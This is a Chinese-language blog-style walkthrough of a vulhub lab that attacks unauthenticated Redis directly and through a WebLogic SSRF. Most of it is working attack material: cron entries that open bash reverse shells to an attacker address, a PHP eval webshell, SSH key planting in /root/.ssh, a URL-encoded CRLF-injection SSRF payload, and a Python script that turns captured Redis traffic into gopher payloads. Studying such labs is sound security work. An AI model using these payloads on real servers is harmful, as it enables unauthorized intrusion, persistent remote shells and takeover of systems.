redis能够写文件,因此可以做到写ssh的秘钥,写webshell,写计划任务等操作
而ssrf可以访问内网的redis,那么就可以控制内网的redis进行上面的操作了
镜像来源vulhub:https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
redis写shell
在默认情况下redis是没有密码的,也就是所谓的未授权访问
首先要了解下需要使用到的redis的基本命令
config set dir '/xxx/xx' //指定数据库文件的目录
config set dbfilename 'xxx' //指定数据库文件的名字
set x 'xxxxx' //操作会记录到数据库中
save //保存配置
因为目录和数据名可以随便起,所以起名为xxx.php也合法的,再加上操作中可写一句话的内容,因此可以做到写webshell的作用,因为目录也是随意的因此写计划任务到计划任务文件也是getshell的一种思路,最后写ssh的秘钥可以让ssh连接不用通过密码就能连接的手段
环境配置
这是redis的docker镜像的ip
这是我ubuntu宿主机的ip
计划任务getshell
计划任务的文件有2个/etc/crontab
和/var/spool/cron/root
第一个是所用用户的计划任务都可以写在这,第二个是root用户的计划任务会写在这,如果其他用户比如apache则是/var/spool/cron/apache
计划任务的格式如下
*/1 * * * * root bash -i >& /dev/tcp/ip/port 0>&1
这样没1分钟就会反弹一次shell
set 1 "\n\n*\\1 * * * * root bash -i >& /dev/tcp/172.17.0.1/2333 0>&1\n\n"
config set dir /etc/
config set dbfilename crontab
save
开始测试向/etc/crontab
中写计划任务,成功写入了(前一行是我之前写的 少转义了个\
,导致 *1
之间缺个\
,但好像没有影响orz我忘了计划任务具体的了)
接下来ubuntu监听2333端口,获得shell
接下来同理向/var/spool/cron/root
中写入计划任务
set 1 "\n\n*\\1 * * * * bash -i >& /dev/tcp/172.17.0.1/2333 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
成功写入,这里注意计划任务中少了 root 这个用户,和/etc/crontab 的payload稍微有点区别
弹到shell,如果计划任务多加了用户 root的话,会接到信息,但是会报错退出
直接写webshell
至于写webshell,因为我redis镜像没有web服务,所以这里就直接给出要执行的命令,其实也和上面差不多
set 1 "<?php eval($_POST[1]); ?>"
config set dir /var/www/html/
config set dbfilename shell.php
save
写ssh
这里我模拟个场景
宿主机存在redis,存在ssh,最后用ssh连本机的root
首先生成秘钥和公钥
ssh-keygen -t rsa
//它会提示输入密钥和公钥的名字,我这里叫./id_rsa
//然后会设置密码,我这里设置的123456
然后把公钥写入一个txt
文件中
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > hack.txt
最后就是将内容通过redis保存到服务器了
cat hack.txt | redis-cli -h 172.18.0.2 -x set xxx
//之后进入数据库即可
redis-cli
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
我这里因为环境的问题没有成功,留个坑之后补一下(不知道为啥ubuntu官方的docker镜像启动不起来)
连接ssh,使用秘钥即可
ssh -i id_rsa root@127.0.0.1
weblogic ssrf配合redis,getshell漏洞
拿的shell是redis的shell,因为内网是没法直接访问的,但是内网可以访问到攻击机的情况就可以使用反向代理的方式拿到shell,也就是从redis服务器向攻击机发送连接请求
验证ssrf,访问内网的redis
weblogic的漏洞页面如下
触发ssrf的参数
之后修改成其他端口试试,返回不一样
因为是专门的docker镜像就只有个7001开着的
然后咱已知道内网那台redis的ip了(在实际中可以写个python脚本扫描下内网的机子)
比如内网不存在某个ip的电脑存活时会返回
有存活的时候会返回
端口存在的的时候返回又是不同的
进行反弹shell的命令发送
mi0
set 1 "\n\n\n\n*\\1 * * * * root bash -i >& /dev/tcp/172.17.0.1/2333 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
mi0
上下这个字符任意即可,因为这个weblogic的ssrf它存在能用%0a
,%0d
换行,所以上面脚本进行url编码后得到以下内容
mi0%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%5C%5C1%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Ami0
成功的写入,这里稍微注意下,url编码如果全编码反而写入不了
成功拿到redis的shell
利用gopher协议
首先把命令执行代码写成bash.sh
脚本
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
然后进行监听socat,获得发送的数据
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
输入后就开始监听,再起个shell运行刚刚的脚本
bash shell.sh 127.0.0.1 4444
会捕获到信息,但是我是ubuntu18.04,环境可能不同(ubuntu没法用redis写计划任务)
这里就贴别人抓到的信息
> 2017/10/11 01:24:52.432446 length=85 from=0 to=84
*3\r
$3\r
set\r
$1\r
1\r
$58\r
*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1
\r
< 2017/10/11 01:24:52.432685 length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.435153 length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2017/10/11 01:24:52.435332 length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.437594 length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2017/10/11 01:24:52.437760 length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.439943 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2017/10/11 01:24:52.443318 length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.446034 length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2017/10/11 01:24:52.446148 length=5 from=0 to=4
+OK\r
如果要改的话要修改这2个地方
之后使用脚本将其转换为gopher协议的格式
#coding: utf-8
#author: JoyChou
import sys
exp = ''
with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp
之后利用即可
gopher://ip:6379/_payload
参考链接
https://joychou.org/web/phpssrf.html
https://blog.csdn.net/bwlab/article/details/54138223
http://www.lichengxiao.cn/17.html
https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf